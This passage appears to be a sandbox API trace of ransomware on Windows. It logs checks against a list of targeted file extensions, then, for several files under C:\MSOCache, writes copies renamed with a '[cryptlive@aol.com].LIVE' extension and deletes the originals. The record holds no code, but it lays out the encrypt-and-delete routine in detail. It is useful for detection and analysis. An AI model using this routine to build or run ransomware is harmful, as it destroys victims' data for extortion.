lpString2=".BAK") returned -1 [0037.803] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0037.803] lstrlenW (lpString=".jpg") returned 4 [0037.804] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0037.804] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0037.804] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0037.804] lstrlenW (lpString=".doc") returned 4 [0037.804] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0037.804] lstrlenW (lpString=".docx") returned 5 [0037.804] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0037.804] lstrlenW (lpString=".pdf") returned 4 [0037.804] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0037.804] lstrlenW (lpString=".xls") returned 4 [0037.804] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0037.804] lstrlenW (lpString=".xlsx") returned 5 [0037.804] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0037.804] lstrlenW (lpString=".ppt") returned 4 [0037.804] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0037.804] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0037.804] lstrlenW (lpString=".zip") returned 4 [0037.804] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0037.804] lstrlenW (lpString=".rar") returned 4 [0037.804] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0037.804] lstrlenW (lpString=".bz2") returned 4 [0037.804] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0037.804] lstrlenW (lpString=".7z") returned 3 [0037.804] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0037.804] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0037.804] lstrlenW (lpString=".dbf") returned 4 [0037.804] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0037.804] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0037.805] lstrlenW (lpString=".1cd") returned 4 [0037.805] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0037.805] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0037.805] lstrlenW (lpString=".jpg") returned 4 [0037.805] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0037.805] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0037.805] lstrlenW (lpString="Proof.xml") returned 9 [0037.805] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0037.805] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=1458) returned 1 [0037.805] CloseHandle (hObject=0x174) returned 1 [0037.805] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 0x2020 [0037.805] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.805] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0037.806] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.806] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.806] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0037.806] GetLastError () returned 0x0 [0037.806] ReadFile (in: hFile=0x174, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x5b2, lpOverlapped=0x0) returned 1 [0037.808] WriteFile (in: hFile=0x168, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0037.809] ReadFile (in: hFile=0x174, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.809] WriteFile (in: hFile=0x168, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0037.809] SetEndOfFile (hFile=0x168) returned 1 [0037.809] CloseHandle (hObject=0x168) returned 1 [0037.811] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.811] SetEndOfFile (hFile=0x174) returned 1 [0037.812] CloseHandle (hObject=0x174) returned 1 [0037.812] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0037.812] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 1 [0037.812] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0037.812] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0037.812] lstrlenW (lpString=".doc") returned 4 [0037.812] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.812] lstrlenW (lpString=".docx") returned 5 [0037.812] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0037.812] lstrlenW (lpString=".pdf") returned 4 [0037.812] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.812] lstrlenW (lpString=".xls") returned 4 [0037.812] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.812] lstrlenW (lpString=".xlsx") returned 5 [0037.812] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0037.813] lstrlenW (lpString=".ppt") returned 4 [0037.813] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.813] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0037.813] lstrlenW (lpString=".zip") returned 4 [0037.813] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.813] lstrlenW (lpString=".rar") returned 4 [0037.813] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.813] lstrlenW (lpString=".bz2") returned 4 [0037.813] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.813] lstrlenW (lpString=".7z") returned 3 [0037.813] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.813] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0037.813] lstrlenW (lpString=".dbf") returned 4 [0037.813] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.813] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0037.813] lstrlenW (lpString=".1cd") returned 4 [0037.813] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.813] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0037.813] lstrlenW (lpString=".jpg") returned 4 [0037.813] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.813] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0037.813] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0037.813] lstrlenW (lpString=".doc") returned 4 [0037.813] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.813] lstrlenW (lpString=".docx") returned 5 [0037.813] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0037.813] lstrlenW (lpString=".pdf") returned 4 [0037.813] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.813] lstrlenW (lpString=".xls") returned 4 [0037.814] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.814] lstrlenW (lpString=".xlsx") returned 5 [0037.814] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0037.814] lstrlenW (lpString=".ppt") returned 4 [0037.814] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.814] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0037.814] lstrlenW (lpString=".zip") returned 4 [0037.814] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.814] lstrlenW (lpString=".rar") returned 4 [0037.814] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.814] lstrlenW (lpString=".bz2") returned 4 [0037.814] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.814] lstrlenW (lpString=".7z") returned 3 [0037.814] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.814] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0037.814] lstrlenW (lpString=".dbf") returned 4 [0037.814] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.814] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0037.814] lstrlenW (lpString=".1cd") returned 4 [0037.814] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.814] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0037.814] lstrlenW (lpString=".jpg") returned 4 [0037.814] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.814] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0037.814] lstrlenW (lpString="Proofing.xml") returned 12 [0037.814] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0037.815] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=811) returned 1 [0037.815] CloseHandle (hObject=0x174) returned 1 [0037.815] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 0x2020 [0037.815] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.815] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0037.815] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.815] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.815] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0037.816] GetLastError () returned 0x0 [0037.816] ReadFile (in: hFile=0x174, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x32b, lpOverlapped=0x0) returned 1 [0037.817] WriteFile (in: hFile=0x168, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x330, lpOverlapped=0x0) returned 1 [0037.818] ReadFile (in: hFile=0x174, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.818] WriteFile (in: hFile=0x168, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0037.818] SetEndOfFile (hFile=0x168) returned 1 [0037.819] CloseHandle (hObject=0x168) returned 1 [0037.820] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.820] SetEndOfFile (hFile=0x174) returned 1 [0037.821] CloseHandle (hObject=0x174) returned 1 [0037.821] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0037.821] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 1 [0037.821] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0037.821] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0037.821] lstrlenW (lpString=".doc") returned 4 [0037.821] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.821] lstrlenW (lpString=".docx") returned 5 [0037.821] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0037.821] lstrlenW (lpString=".pdf") returned 4 [0037.821] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.821] lstrlenW (lpString=".xls") returned 4 [0037.821] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.821] lstrlenW (lpString=".xlsx") returned 5 [0037.821] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0037.822] lstrlenW (lpString=".ppt") returned 4 [0037.822] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.822] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0037.822] lstrlenW (lpString=".zip") returned 4 [0037.822] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.822] lstrlenW (lpString=".rar") returned 4 [0037.822] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.822] lstrlenW (lpString=".bz2") returned 4 [0037.822] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.822] lstrlenW (lpString=".7z") returned 3 [0037.822] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.822] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0037.822] lstrlenW (lpString=".dbf") returned 4 [0037.822] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.822] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0037.822] lstrlenW (lpString=".1cd") returned 4 [0037.822] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.822] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0037.822] lstrlenW (lpString=".jpg") returned 4 [0037.822] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.822] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0037.822] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0037.822] lstrlenW (lpString=".doc") returned 4 [0037.822] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.822] lstrlenW (lpString=".docx") returned 5 [0037.822] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0037.822] lstrlenW (lpString=".pdf") returned 4 [0037.822] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.822] lstrlenW (lpString=".xls") returned 4 [0037.822] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.822] lstrlenW (lpString=".xlsx") returned 5 [0037.823] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0037.823] lstrlenW (lpString=".ppt") returned 4 [0037.823] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0037.823] lstrlenW (lpString=".zip") returned 4 [0037.823] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.823] lstrlenW (lpString=".rar") returned 4 [0037.823] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.823] lstrlenW (lpString=".bz2") returned 4 [0037.823] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.823] lstrlenW (lpString=".7z") returned 3 [0037.823] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0037.823] lstrlenW (lpString=".dbf") returned 4 [0037.823] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0037.823] lstrlenW (lpString=".1cd") returned 4 [0037.823] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0037.823] lstrlenW (lpString=".jpg") returned 4 [0037.823] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.823] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0037.823] lstrlenW (lpString="Setup.xml") returned 9 [0037.823] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0037.824] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=5884) returned 1 [0037.824] CloseHandle (hObject=0x174) returned 1 [0037.824] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0037.824] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.824] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0037.824] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.824] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.824] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0037.824] GetLastError () returned 0x0 [0037.824] ReadFile (in: hFile=0x174, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x16fc, lpOverlapped=0x0) returned 1 [0037.826] WriteFile (in: hFile=0x168, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x1700, lpOverlapped=0x0) returned 1 [0037.827] ReadFile (in: hFile=0x174, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.827] WriteFile (in: hFile=0x168, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0037.827] SetEndOfFile (hFile=0x168) returned 1 [0037.827] CloseHandle (hObject=0x168) returned 1 [0037.828] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.828] SetEndOfFile (hFile=0x174) returned 1 [0037.829] CloseHandle (hObject=0x174) returned 1 [0037.829] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0037.829] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0037.829] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.829] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.829] lstrlenW (lpString=".doc") returned 4 [0037.829] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.829] lstrlenW (lpString=".docx") returned 5 [0037.829] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0037.829] lstrlenW (lpString=".pdf") returned 4 [0037.829] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.829] lstrlenW (lpString=".xls") returned 4 [0037.829] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.829] lstrlenW (lpString=".xlsx") returned 5 [0037.829] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0037.829] lstrlenW (lpString=".ppt") returned 4 [0037.830] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.830] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.830] lstrlenW (lpString=".zip") returned 4 [0037.830] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.830] lstrlenW (lpString=".rar") returned 4 [0037.830] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.830] lstrlenW (lpString=".bz2") returned 4 [0037.830] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.830] lstrlenW (lpString=".7z") returned 3 [0037.830] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.830] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.830] lstrlenW (lpString=".dbf") returned 4 [0037.830] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.830] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.830] lstrlenW (lpString=".1cd") returned 4 [0037.830] lstrcmpiW (lpString1=".1cd", 